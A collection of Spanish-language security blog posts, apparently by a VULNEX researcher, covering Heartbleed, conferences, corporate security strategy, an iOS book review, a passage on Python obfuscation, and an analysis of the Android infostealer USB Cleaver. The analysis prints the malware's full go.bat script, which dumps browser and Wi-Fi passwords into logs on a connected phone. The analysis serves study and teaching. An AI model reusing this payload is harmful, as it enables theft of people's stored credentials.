La semana pasada todas las alarmas saltaron cuando se publicó un grave fallo de seguridad llamado Heartbleed en la librería criptográfica OpenSSL, que utilizan tanto una gran parte de los servidores en Internet así como mucho software de seguridad.
Como no podía ser de otra manera, las teorías conspiracionistas hablan de este bug introducido o abusado desde hace tiempo por la NSA. Lo que sí está claro es que este bug deja en evidencia que el software Open Source no es más seguro si nadie lo mira (se ha tardado dos años en identificar este fallo!!!!) y si no se siguen unas prácticas de desarrollo seguro.
Desconozco si el equipo de OpenSSL utiliza algún marco de desarrollo seguro, pero que un solo programador pueda realizar cambios al código sin ningún tipo de validación ¿? es un error mucho más grave que el propio bug.
Sin duda es un duro golpe a la comunidad Open Source que se suele presentar como más seguro, ya que cualquiera puede ver el código. Este fallo demuestra que solo por ser código abierto no es garantía suficiente.
No me cansaré de repetirlo: da igual que seas software Open Source o software comercial, que tu empresa solo desarrolle software de uso interno o que tengas un ISV que te desarrolla a medida, siempre se necesita un marco de desarrollo seguro como el MS SDL, BSIMM o OpenSAMM.
Esperemos que este bug sea una llamada de atención para todo el que desarrolle software sobre la importancia de la seguridad e invertir en ella.
Y puedo confirmaros que este bug funciona a la perfección ;)
Ya estoy de vuelta de la Black Hat ASIA 2014 en Singapur, donde tuve el placer de dar una charla sobre seguridad de tecnologías multiplataforma para desarrollar apps en móviles. La Black Hat ASIA no se hacía desde el 2008 y la última vez en Singapur fue en el 2003, ¡cómo pasa el tiempo!
El evento tuvo lugar en el increíble hotel Marina Bay Sands (si no lo conocéis, os recomiendo que hagáis una búsqueda en Google) con una gran acogida de unos mil asistentes. En la cena de speakers nos llevaron a un conocido restaurante chino donde pudimos probar diversas especialidades y ponernos finos a base de vino tinto de la Rioja (argentina ;) ; luego, como no podía ser de otra manera, ¡exploramos la noche de Singapur!
Mi charla fue la primera del primer día del evento y fue todo un éxito: una sala llena de gente incluso de pie, ya que no había sillas para todo el mundo, y muchas preguntas, algo atípico en la cultura asiática, por lo que quiero dar las gracias a todos los asistentes!!
Mi primera vez en Singapur, pero sin duda no será la última, quizás el próximo año
Esta mañana he visto una oferta de trabajo para Facebook en la que buscan ingenieros en seguridad ofensiva, por lo que he pensado que sería una estupenda oportunidad para explorar esta idea y su aplicación en la seguridad corporativa.
Tradicionalmente la seguridad informática en las empresas solo tiene un rol defensivo con el único apoyo de algunos productos (cortafuegos, antivirus, IDS, etc.). Cuando semana tras semana leemos en los medios cómo empresas de todos los tamaños son atacadas y comprometidas con éxito, ¡algo está fallando!
Internet y sus peligros han evolucionado pero la seguridad corporativa no: aún existen demasiadas empresas que siguen esquemas antiguos de décadas anteriores para proteger su información.
Al igual que los Estados-Naciones no solo desarrollan sus capacidades defensivas sino además las ofensivas, las empresas también deberían potenciar sus capacidades ofensivas para poder evaluar su propia seguridad de forma efectiva (no para atacar a otras empresas).
Es imposible que los consultores de seguridad/pentesters sean capaces de verificar la seguridad de una empresa en un tiempo limitado, que por desgracia es el modelo que siguen la mayoría de empresas. Nadie presiona al médico cuando tiene que operar o al fontanero cuando soluciona una avería, pero sí presionamos a los consultores de seguridad para obtener resultados detallados en un corto espacio de tiempo.
Es necesario que la seguridad corporativa evolucione con personal ofensivo que realmente entienda a los atacantes (mentalidad atacante), que sean capaces de atacar sistemas y aplicaciones y tengan cierta libertad para ello en la empresa. Estos individuos son los que pueden elevar la seguridad al siguiente nivel.
Su objetivo es atacar la empresa de forma constante utilizando técnicas reales para descubrir los puntos débiles y reforzarlos, analizar malware identificado en la empresa e incluso establecer trampas para los atacantes (honeypots). No debemos confundir con Counter-Hacking, que es la idea que si nos atacan debemos responder atacando. Ninguna empresa debería utilizar sus capacidades ofensivas para contraatacar por todos los problemas que esto puede acarrear (legales y éticos). Las capacidades ofensivas solo las debemos usar internamente para mejorar la seguridad y punto.
Las empresas que no sepan evolucionar su seguridad a un modelo defensivo y ofensivo y potenciar no solo la tecnología, sino también sus procesos y personas (la famosa pirámide: personas, procesos y tecnologías) están condenadas a ser comprometidas de por vida.
¿Tiene tu empresa capacidades ofensivas? ¿Cómo se utilizan?
El mes de febrero ha sido muy interesante a la par que ajetreado. El pasado 17 de febrero tuve el placer de recoger el primer reconocimiento a VULNEX por parte de Red Seguridad, que nos otorgó el trofeo a la Innovación TIC por nuestra colaboración con el DARPA (Agencia de Proyectos de Investigación Avanzados de Defensa del Departamento de Defensa, EE.UU.), cuyo fruto ha sido BinSecSweeper, una tecnología que nos permite verificar la postura de seguridad de cualquier binario.
Podéis encontrar una estupenda crónica del evento aquí y a continuación os incluyo una foto del premio :)
Los días 24-28 de febrero asistí por primera vez a la mítica conferencia RSA USA en San Francisco (EE.UU.), en la que participé con una ponencia sobre seguridad en el desarrollo de software y cómo evaluar su seguridad con BinSecSweeper titulada: “Writing Secure Software is hard, but at least add mitigations!”. Aprovecho para dar las gracias a los asistentes por el buen feedback (¡me alegro que gustara mi ponencia!) y por supuesto a la organización por un magnífico congreso.
La presentación ya está disponible en la web de VULNEX.
Ha sido la primera vez que asistía a RSA USA, pero sin duda no será la última. En mi opinión, una cita obligada para todos los profesionales de la ciberseguridad.
Los próximos 29 y 30 de enero impartiré un curso sobre hacking en dispositivos móviles y Apps en Android e iPhone en Madrid, España. Para los que ya estáis apuntados y para los que no (¡aun estáis a tiempo!), he pensado ofreceros un pequeño adelanto de alguno de los análisis que haremos ;)
El curso cubre diversos temas, como seguridad de plataformas móviles, vulnerabilidades y exploits, ingeniería inversa de Apps y malware, subversión de malware y pentesting con móviles, entre otras cosas, además de múltiples ejercicios prácticos.
Ahora vamos a analizar un malware para Android conocido como USB Cleaver, que tiene una característica muy interesante: trae un payload para robar información de equipos Windows. Es lo que se conoce como un Infostealer.
Cuando un teléfono infectado con este malware se conecta a un equipo Windows que tenga activado autorun (desactivado en la mayoría de Windows, ¿os acordáis de Stuxnet? :), se ejecuta una serie de herramientas Windows que roba información como la configuración del equipo, contraseñas de navegadores (Firefox, Chrome e IE) y la contraseña wifi. Esta información se guarda en la memoria externa SD del teléfono.
Primero vamos a ver cómo funciona y luego haremos reversing de su código.
USB Cleaver en acción
El primer paso será infectar un Android, una vez infectado aparece un icono llamado “USB Cleaver”, ver Fig. 1.
Fig. 1 – Android infectado con USB Cleaver
Al ejecutar el malware por primera vez nos indica que debemos bajar un payload de 3mb. Esto son las herramientas Windows que el malware utiliza para robar información del equipo. Ver Fig. 2 y 3.
Fig. 2 – Nos pide bajar el payload
Fig. 3 – Bajando payload
Toda la comunicación del malware la estamos examinando con el sniffer Wireshark y en la Fig. 4 podemos ver cómo se baja un fichero zip (“PK”).
Fig. 4 – Bajando fichero zip con el payload Windows
Ahora que ya tenemos el payload bajado, nos aparece un menú con tres opciones: activar y desactivar el payload, ficheros logs y volver a bajar los payloads (en caso de alguna actualización de las herramientas Windows), ver Fig. 5.
Fig. 5 – Menú principal de USB Cleaver
Procedamos a configurar el payload, por lo que pulsaremos en Activar/Desactivar Payloads. Ahora en el siguiente menú podemos activar el robo de información: configuración del sistema y robo de contraseñas de navegadores y wifi. Ver Fig. 6.
Fig. 6 – Activar opciones del payload
Ya solo tendríamos que esperar a que el teléfono se conecte a un equipo Windows con autorun activado y bingo!!
En las entrañas de USB Cleaver
Ahora estudiemos el USB Cleaver desde otra perspectiva, en este caso vamos a la terminal de Android para ver qué ficheros crea. Como mencioné anteriormente, el malware crea una carpeta en la sdcard, por lo que allí empezaremos el análisis.
En la Fig. 7 podemos observar que se ha creado una carpeta llamada “usbcleaver” y dos ficheros: autorun.inf y go.bat. El fichero inf es para el autorun de Windows y el go.bat (en estos momentos vació) ejecuta el payload.
Fig. 7 – Explorando la sdcard
Continuamos entrando en el directorio de usbcleaver y vemos tres directorios más, ver Fig. 8.
Fig. 8 – Dentro del directorio /sdcard/usbcleaver/
En el directorio logs es donde se guarda la información robada y en config podemos encontrar unos ficheros de configuración que utiliza el payload. Si entramos en el directorio system veremos una serie de ejecutables Windows, esto es el payload que previamente hemos bajado. Ver Fig. 9 y Fig. 10.
Fig. 9 – El payload de Windows
Fig. 10 – Directorio /sdcard/usbcleaver/config
Antes mencioné que el fichero go.bat está vacio, pero una vez que hayamos configurado el payload desde la aplicación, Fig. 6, se creará el fichero go.bat con la siguiente información y el payload ya estará listo para ser ejecutado.
@ECHO off
CD usbcleaver\system >NUL
:: Finds the location of the flash partition and sets master variable.
IF EXIST z:\usbcleaver\config\Drive_Location.cfg SET flshdrv=z:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST y:\usbcleaver\config\Drive_Location.cfg SET flshdrv=y:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST x:\usbcleaver\config\Drive_Location.cfg SET flshdrv=x:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST w:\usbcleaver\config\Drive_Location.cfg SET flshdrv=w:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST v:\usbcleaver\config\Drive_Location.cfg SET flshdrv=v:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST u:\usbcleaver\config\Drive_Location.cfg SET flshdrv=u:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST t:\usbcleaver\config\Drive_Location.cfg SET flshdrv=t:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST s:\usbcleaver\config\Drive_Location.cfg SET flshdrv=s:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST r:\usbcleaver\config\Drive_Location.cfg SET flshdrv=r:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST q:\usbcleaver\config\Drive_Location.cfg SET flshdrv=q:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST p:\usbcleaver\config\Drive_Location.cfg SET flshdrv=p:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST o:\usbcleaver\config\Drive_Location.cfg SET flshdrv=o:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST n:\usbcleaver\config\Drive_Location.cfg SET flshdrv=n:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST m:\usbcleaver\config\Drive_Location.cfg SET flshdrv=m:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST l:\usbcleaver\config\Drive_Location.cfg SET flshdrv=l:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST k:\usbcleaver\config\Drive_Location.cfg SET flshdrv=k:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST j:\usbcleaver\config\Drive_Location.cfg SET flshdrv=j:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST i:\usbcleaver\config\Drive_Location.cfg SET flshdrv=i:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST h:\usbcleaver\config\Drive_Location.cfg SET flshdrv=h:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST g:\usbcleaver\config\Drive_Location.cfg SET flshdrv=g:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST f:\usbcleaver\config\Drive_Location.cfg SET flshdrv=f:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST e:\usbcleaver\config\Drive_Location.cfg SET flshdrv=e:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST d:\usbcleaver\config\Drive_Location.cfg SET flshdrv=d:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST c:\usbcleaver\config\Drive_Location.cfg SET flshdrv=c:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST b:\usbcleaver\config\Drive_Location.cfg SET flshdrv=b:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
GOTO END
:FlshDrvFound
:: Checks to see if the payload is disarmed
IF NOT EXIST %flshdrv%\usbcleaver\config\Disarm_Payload.cfg GOTO SkipDisarm
IF EXIST %flshdrv%\usbcleaver\config\Disarm_Payload.cfg GOTO End
:SkipDisarm
:: Sets Variables and paths to clean up pathnams later on
IF NOT EXIST %flshdrv%\usbcleaver\logs\%computername% MD %flshdrv%\usbcleaver\logs\%computername%
SET t=%time:~0,2%_%time:~3,2%_%time:~6,2%
SET logdir="%flshdrv%\usbcleaver\logs\%computername%"
SET log="%flshdrv%\usbcleaver\logs\%computername%\%computername%-[%t%].log"
SET tmplog="%flshdrv%\usbcleaver\logs\%computername%\%computername%_TEMP.log"
SET progdir="%flshdrv%\usbcleaver\system\"
SET config="%flshdrv%\usbcleaver\config\"
SET installdir="%flshdrv%\usbcleaver\system\install"
SET /p eipurl=<"%flshdrv%\usbcleaver\config\External_IP.cfg"
:: Header information
ECHO ----------------------------------------------------------------------------------------------------------------------------- > %log% 2>&1
ECHO USB Cleaver Payload [Time Started: %DATE% %TIME%] >> %log% 2>&1
ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1
ECHO Computer Name is: %computername% and the Logged on User Is: %username% >> %log% 2>&1
ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1
ECHO +----------------------------------+ >> %log% 2>&1
ECHO + [System info] + >> %log% 2>&1
ECHO +----------------------------------+ >> %log% 2>&1
IPCONFIG /all >> %log% 2>&1
ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1
Echo +----------------------------------+ >> %log% 2>&1
Echo + [Dump Firefox PW] + >> %log% 2>&1
Echo +----------------------------------+ >> %log% 2>&1
%progdir%\PasswordFox.exe /stext %tmplog% >> %log% 2>&1
COPY %log%+%tmplog%* %log% >> NUL
DEL /f /q %tmplog% >NUL
ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1
ECHO +----------------------------------+ >> %log% 2>&1
ECHO + [Dump Chrome PW] + >> %log% 2>&1
ECHO +----------------------------------+ >> %log% 2>&1
.\ChromePass.exe /stext %tmplog% >> %log% 2>&1
COPY %log%+%tmplog%* %log% >> NUL
DEL /f /q %tmplog% >NUL
ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1
ECHO +----------------------------------+ >> %log% 2>&1
ECHO + [Dump IE PW] + >> %log% 2>&1
ECHO +----------------------------------+ >> %log% 2>&1
.\iepv.exe /stext %tmplog% >> %log% 2>&1
COPY %log%+%tmplog%* %log% >> NUL
DEL /f /q %tmplog% >NUL
ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1
ECHO +----------------------------------+ >> %log% 2>&1
ECHO + [Dump WIFI PW] + >> %log% 2>&1
ECHO +----------------------------------+ >> %log% 2>&1
.\WirelessKeyView.exe /stext %tmplog% >> %log% 2>&1
COPY %log%+%tmplog%* %log% >> NUL
DEL /f /q %tmplog% >NUL
ECHO. >> %log% 2>&1
ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1
ECHO USB Cleaver Payload [Time Finished: %DATE% %TIME%] >> %log% 2>&1
ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1
Fichero go.bat
Diseccionando USB Cleaver
¡Es el momento de un poco de reversing y estudiar el interior de este malware! Para ello hemos decompilado el malware y podemos ver diferentes ficheros que lo componen, Fig. 11.
Fig. 11 – USB Cleaver listo para ser analizado!
En la clase USBCleaverActivity podemos observar los diferentes ficheros y carpetas que el malware crea, que ya vimos anteriormente. Ver Fig. 12.
Fig. 12 – Clase USBCleaverActivity
En las clases payload y payloadHandler encontramos el código relacionado con el payload, Fig. 13 y Fig. 14.
Fig. 13 – Clase payload
Fig. 14 – Clase payloadHandler
Un aspecto que siempre debemos examinar cuando hacemos reversing de Apps o Malware es determinar qué permisos utiliza. En la Fig. 15 podemos ver los permisos de USB Cleaver: escritura en la memoria externa (WRITE_EXTERNAL_STORAGE), acceso Internet (INTERNET) y acceso al estado de red (ACCESS_NETWORK_STATE). Existen muchas herramientas para ver los permisos, incluso cualquier editor de texto, yo utilizo Electric Sheep (herramienta propietaria de VULNEX para análisis de apps móviles)
Fig. 15 – Permisos de USB Cleaver
Con esto ya hemos terminado de analizar USB Cleaver y como se puede apreciar es un malware muy sencillo, ¡si es que se le puede llamar malware! El siguiente paso será examinar con más detalle el payload.
Analizando el Payload
En la Fig. 9 hemos visto unos ejecutables que eran el payload. Procedamos a su reversing, aunque solo examinaremos uno
En la Fig. 16 podemos ver todos los ficheros que componen el payload. Nuestro análisis se enfocará al fichero ChromePass, que roba las contraseñas del navegador Chrome. Según la web w3schools.com, Chrome es el navegador más usado y por eso me ha parecido un buen candidato para el análisis.
Fig. 16 – Todos los ejecutables del payload
Para ello utilizaremos el mítico IDA Pro, ver Fig. 17, y al examinar el binario observo cadenas de texto que me suenan de otras herramientas. En la imagen podemos ver sentencias SQL, que es como el navegador guarda las contraseñas. Hace unos meses se abrió un debate de la forma tan insegura en la que se guardan las contraseñas en Chrome, fácil de encontrar si buscamos en Google ;)
Fig. 17 – Reversing the ChromePass en IDA Pro
Navegamos por el binario con IDA Pro y observo algunas cadenas de texto que me suenan, por lo que decido abrir las propiedades del ejecutable y vamos a Detalles, efectivamente esta herramienta es parte de NirSoft y sus utilidades para recuperar contraseñas. Ver Fig. 18.
Fig. 18 – ChromePass es una utilidad de NirSoft
Y para acabar utilizo el BinSecSweeper de VULNEX (disponible próximamente ;) para evaluar la postura de seguridad de todos los binarios en el payload.
En la Fig. 19 podemos ver que el ChromePass es una utilidad algo vieja (posiblemente compilada con Visual Studio 2005) y no tiene ninguna mitigación.
En caso de tener alguna vulnerabilidad esta aplicación es presa fácil, ¡IDA Pro al ataque!
Fig. 19 – Evaluando todos los binarios del payload mediante BinSecSweeper
Personalmente yo no llamaría Malware a esta aplicación como han hecho muchas casas antivirus, pero a pesar de su sencillez es un ejemplo interesante ya que combina Android con un payload Windows.
Es mera cuestión de tiempo que aparezca malware en móviles mucho más sofisticado que USB Cleaver que pueda atacar y robar información en otros sistemas operativos desktop como Windows y MacOS.
¡Espero que os haya gustado este análisis superficial de un malware en Android y nos vemos en el curso de hacking en móviles!
¿Cuál crees que será el foco del malware en móviles en los próximos dos años?
La semana pasada tuve el placer de impartir una charla titulada “Ciberseguridad: la hora del cambio” sobre mi visión de la postura de ciberseguridad en las empresas en el transcurso de un evento que organizó Page Personnel España, y ya os puedo adelantar que se necesita un gran cambio para combatir las constantes amenazas que pueblan Internet.
La charla comenzó con una exposición de los distintos perfiles de atacantes, desde los atacantes casuales, empleados/internos, hacktivistas y cibercriminales hasta llegar a los atacantes Estado-Nación y cómo las medidas de seguridad son cada vez menos efectivas en función del atacante.
Cada semana podemos leer en los medios que se ha comprometido la seguridad de alguna empresa. Si echamos la vista atrás, en los últimos años grandes compañías como Google, Sony, Citi, RSA, Northrup Grumman y muchas más han sido atacadas con éxito. Todas son empresas con grandes recursos y posiblemente con unas medidas de seguridad aceptables (cortafuegos, IDS, antivirus, política de parches, etc.), pero aun así no han sido capaces de defenderse.
Mucho se habla de los APT como atacantes sofisticados, lo que no es del todo correcto: se trata de que saben utilizar sus recursos ofensivos de forma más eficiente y solo necesitan un fallo de seguridad para entrar en los sistemas.
Existe un principio de seguridad que yo llamo “Auditoría Continua Inversa” y que suelo explicar a mis clientes. Básicamente consiste en que cualquier sistema informático conectado a Internet es “auditado” al menos una vez a la semana por algún actor, lo que significa que son “auditados” constantemente y que la típica excusa por parte de las empresas de «no tenemos enemigos, nadie nos quiere atacar» carece de fundamento. Siempre recomiendo realizar revisiones de seguridad periódicas para conocer el estado de nuestra seguridad y cómo mejorarla.
Es evidente que necesitamos un cambio para protegernos de manera efectiva. En la actualidad demasiadas compañías basan su estrategia de seguridad única y exclusivamente en la compra de productos como cortafuegos, IDS, antivirus, etc.; en suma, tecnologías de décadas anteriores que son claramente insuficientes. Hay una frase de Albert Einstein que refleja sin duda esta necesidad de cambio: «Si buscas resultados distintos, no hagas siempre lo mismo».
Desde mi punto de vista, las organizaciones deben crear una verdadera estrategia de seguridad en la que se involucre a toda la compañía y que haga cambiar su mentalidad. Ante todo, deben tener claro qué información es valiosa, qué nivel de clasificación tiene y dónde se encuentra –aquí hay que añadir que generalmente está muy desperdigada-. En función de este ejercicio ya pueden empezar a diseñar su estrategia de seguridad. ¿Cómo van a protegerse si no saben el qué ni de quién?
La estrategia de seguridad debe abarcar tres frentes: tecnología, procesos y personas. Una estrategia de productos de seguridad afecta a la tecnología, pero deja de lado a los procesos y a las personas, que son igual o incluso más importantes.
En vez de inteligencia, prefiero hablar de visibilidad, de conocer nuestra organización y saber qué debemos proteger y de quién. Algunos aspectos que debería abordar nuestra estrategia de seguridad son los siguientes:
Equipo de seguridad 100% dedicado: soy consciente de que resulta complicado para muchas empresas, pero es fundamental. La seguridad es mucho más que administrar cortafuegos y antivirus, por lo que se necesita contar con personal cualificado y totalmente dedicado a esta tarea. Su formación debe ser de carácter defensivo y periódica (al menos anual), aunque también sería recomendable que contaran con formación ofensiva básica para entender por dónde pueden venir los atacantes y cómo repelerlos.
Formación: toda la organización debe recibir formación de seguridad ajustada a su perfil para que entiendan y eviten los peligros de Internet, documentos maliciosos, redes sociales, etc. Hoy en día el coste de la formación online es muy asequible, por lo que no hay excusa.
Defensas activas: las defensas de seguridad suelen ser pasivas -esperan ser atacadas-, pero deberían ser activas. No consiste en atacar a los atacantes (que puede ser incluso ilegal, ya que no sabemos si contraatacamos al propio atacante o a otra víctima), sino en hacerles perder el tiempo, gastar recursos o incluso detectarles e identificarles mediante tecnología como los honeypots. Un proyecto fantástico para este concepto es Active Defense Harbinger Distribution (ADHD).
Postura de seguridad en el software instalado: las empresas cuentan con bastantes aplicaciones instaladas en sus sistemas y se confía la seguridad al fabricante, pero los departamentos de TI y/o seguridad deberían ser capaces de valorar este software. Tecnologías de verificación como VULNEXBinSecSweeper ayudan en este sentido.
Desarrollo seguro: no me cansaré nunca de hablar sobre la necesidad de desarrollar software seguro, bien sea una web, una aplicación móvil o cualquier otro software, ya que la mayoría de ataques vienen a través de aplicaciones inseguras. ¡Hay mucho que mejorar en este sentido!
Mayor uso de software Open Source de seguridad: las organizaciones tienden a comprar productos comerciales de seguridad porque suelen presentar un mejor interfaz, pero existen muchas soluciones de seguridad open source fantásticas (IDS, antivirus, cortafuegos, etc.) que combinadas con productos de seguridad comerciales pueden mejorar sensiblemente la seguridad corporativa.
Sin duda alguna, existen muchas más áreas de mejora en la estrategia de seguridad, pero las aquí descritas son un buen comienzo. Para empezar, debemos contar con un equipo preparado (personas) y tener todo bien documentado (procesos). No hablo de escribir cientos y cientos de páginas que nadie va a leer, pero sí de documentos sencillos y bien estructurados que describan las tareas y los procesos de seguridad.
Nadie dice que sea fácil, pero este cambio es absolutamente necesario si queremos mejorar la seguridad corporativa y protegernos de las amenazas en Internet. Mientras tanto seguiremos viendo en los medios empresas de todo tipo comprometidas…
Aprovecho para agradecer a Page Personnel que contaran conmigo para su evento, ha sido un placer poder participar.
¿Cuál es tu opinión de la estrategia de seguridad en las empresas: funciona o no?
La semana pasada se celebró en la mítica ciudad de Nueva York el congreso OWASP AppSecUSA 2013, donde tuve el placer de dar una charla sobre seguridad en el desarrollo de software titulada “Verify Your Software for Security Bugs” y presentar mi nuevo proyecto, BinSecSweeper, una tecnología que permite verificar la postura de seguridad de cualquier binario en distintas plataformas.
El desarrollo de BinSecSweeper ha sido posible gracias a una beca del programa DARPA Cyber Fast Track (CFT) para mejorar la seguridad en el desarrollo de software. Para más información os recomiendo leer la descripción del proyecto aquí.
El congreso tuvo lugar en el hotel Marriot Marquis en Times Square, en pleno centro de Manhattan, ¡y atendieron más de 1500 personas interesadas por la seguridad! Como siempre en los eventos OWASP se vieron caras conocidas del mundo de la seguridad con las que tuve el placer de charlar, además de caras nuevas. ¡Un saludo a todas esas personas!
Como era de esperar muchas charlas estaban enfocadas a seguridad en móviles, principalmente Android y iPhone. También pudimos ver muchas charlas sobre seguridad Web y proyectos OWASP, aunque tengo que admitir que algunas charlas no estuvieron a la altura del congreso.
A continuación encontraréis unas capturas de BinSecSweeper, que publicaré próximamente ;)
Fig. 1 – BinSecSweeper auditando un binario Windows en Linux
Fig. 2 – BinSecSweeper auditando un binario Linux en Linux
Quiero agradecer al equipo de AppSecUSA la estupenda organización del evento, ¡ha sido un placer poder participar! ¡Nos vemos en futuras ediciones!
Hacía tiempo que quería leer este libro, por fin saqué algo de tiempo y tengo que admitir que ha superado mis expectativas. Esta magnífica obra escrita por unos reputados expertos en seguridad en iOS – una de las plataformas móviles líder del mercado – como son Charlie Miller, Dion Blazakis, Dino DaiZovi, Stefan Esser, Vincenzo Iozzo y Ralf-Philip Weinmann nos revela los secretos del sistema operativo móvil de Apple.
iOS Hacker’s Handbook (ISBN: 978-1-118-20412-2) es una fascinante lectura muy técnica que nos adentra en el funcionamiento y seguridad de iOS para encontrar vulnerabilidades y desarrollar exploits.
Sus once capítulos están repletos de código fuente (recomendado entender C y ASM) y describen la arquitectura de seguridad de iOS como el cifrado, sandboxing, los diferentes tipos de protecciones de memoria y firma de código para encontrar vulnerabilidades mediante ingeniería inversa y fuzzing, así como desarrollar exploits mediante modernas técnicas como ROP.
Algunas joyas incluyen el estudio de vulnerabilidades reales que han sido utilizadas para ganar el mítico Pwn2Own, funcionamiento y desarrollo de nuestros propios jailbreaks y depuración y explotación del kernel iOS.
Teniendo en cuenta que el auge en la venta de exploits y lo que se puede llegar a pagar por un 0day en iOS es un negocio muy serio y lucrativo, ¡hay que leer esta obra (leer artículo de Forbes al respecto)!
Este libro está enfocado en la plataforma iOS, por lo que no entra en vulnerabilidades y explotación de Apps – aunque para ese tema ya existen otras referencias por lo que no se echa de menos.
Sin duda una obra de obligada lectura para todos los expertos en seguridad que quieran adentrarse en las entrañas de iOS al más bajo nivel. Os recomiendo leer la obra un par de veces para asimilar bien los conceptos y bajar el código fuente que acompaña, ya que contiene diversas herramientas muy interesantes y que necesitaremos para explotar iOS.
Aprovecharé este post para mencionaros que desde la empresa VULNEX ofrecemos una formación de hacking en móviles que estoy seguro puede ser de vuestro interés
Puntuación (1 rosa, muy malo / 5 rosas, muy bueno): 5 Rosas (Lectura Recomendada)
Python es un lenguaje de programación fácil y potente que nos permite escribir sofisticados programas, como por ejemplo Dropbox y BitTorrent. Es habitual que se entregue el código fuente de los programas en Python, aunque en algunos casos se aplican diversas técnicas como ofuscación y compilación para proteger el código de los ojos curiosos. Pero ¿realmente funcionan estas técnicas?
En este artículo veremos algunas herramientas que supuestamente nos ayudan a proteger nuestro código y lo fácil que es subvertirlas.
A continuación tenemos dos programas de ejemplo escritos en Python: el primero es una simple función que nos pide una contraseña y nos muestra un mensaje; el segundo ejemplo es igual, aunque en esta ocasión hemos utilizado una clase.
def main():
a = "toomanysecrets"
res = raw_input("Please enter your password: ")
if res == a:
print "ACCESS GRANTED"
else:
print "ACCESS DENIED"
if __name__ == "__main__":
main()
secretapp1.py
class DoMain:
def __init__(self):
self.a = "toomanysecrets"
def Ask(self):
res = raw_input("Please enter your password: ")
if res == self.a:
print "ACCESS GRANTED"
else:
print "ACCESS DENIED"
if __name__ == "__main__":
dm = DoMain()
dm.Ask()
secretapp2.py
Supongamos que no quiero entregar el código de estos programas, por lo que tengo varias opciones. Nuestra primera opción será ofuscar el código, dificultando su lectura.
Pyobfuscate
Este programa nos permite ofuscar nuestro programa de forma totalmente válida para el intérprete Python. Veamos un ejemplo con SecretApp1 y SecretApp2.
Fig. 1 – Secretapp1 ofuscado
Fig. 2 – Secretapp2 ofuscado
A simple vista nuestro código no tiene sentido, pero si analizamos el resultado veremos cómo las cadenas de texto siguen en el código y podemos reconocer sintaxis de Python. No es demasiado difícil reconstruir el código ofuscado.
A pesar de sus limitaciones os invito a visitar la web de esta herramienta para ver sus posibilidades.
Htibctobf
Originalmente esta herramienta se escribió para resolver un reto en una competición de hacking en el congreso Hack in the Box. Os recomiendo leer este estupendo artículo.
A diferencia de la anterior herramienta, Htibctobf ofusca el código Python modificando los AST (Abstract Syntax Trees). Al ejecutar esta herramienta podemos ver nuestro código Python ofuscado en la Fig. 3 y Fig. 4.
Fig. 3 – Secretapp1 ofuscado
Fig. 4 – Secretapp2 ofuscado
Podemos observar el código ofuscado, incluso las cadenas de texto, sin embargo a pesar de todo no es demasiado difícil reconstruir el código original.
Sin duda un interesante concepto con amplias posibilidades pero que requiere de mejoras para ser útil.
En algunos casos quizás baste con ofuscar el código, pero busquemos otras opciones para proteger nuestro código de forma más efectiva: tendremos que recurrir a compilar el código Python creando un ejecutable.
Py2exe
Posiblemente una de las opciones más populares para convertir código Python en ejecutables Windows. Py2exe
En primer lugar tenemos que crear un fichero llamado setup.py que incluya una referencia a nuestro programa que queremos compilar. Ver código setup.
from distutils.core import setup
import py2exe
setup(console=['secretapp1.py'])
setup.py
Ya estamos listos para compilar nuestro código Python en un ejecutable Windows, para ello ejecutamos py2exe. Ver Fig. 5.
Fig. 5 – Compilando secretapp1.exe
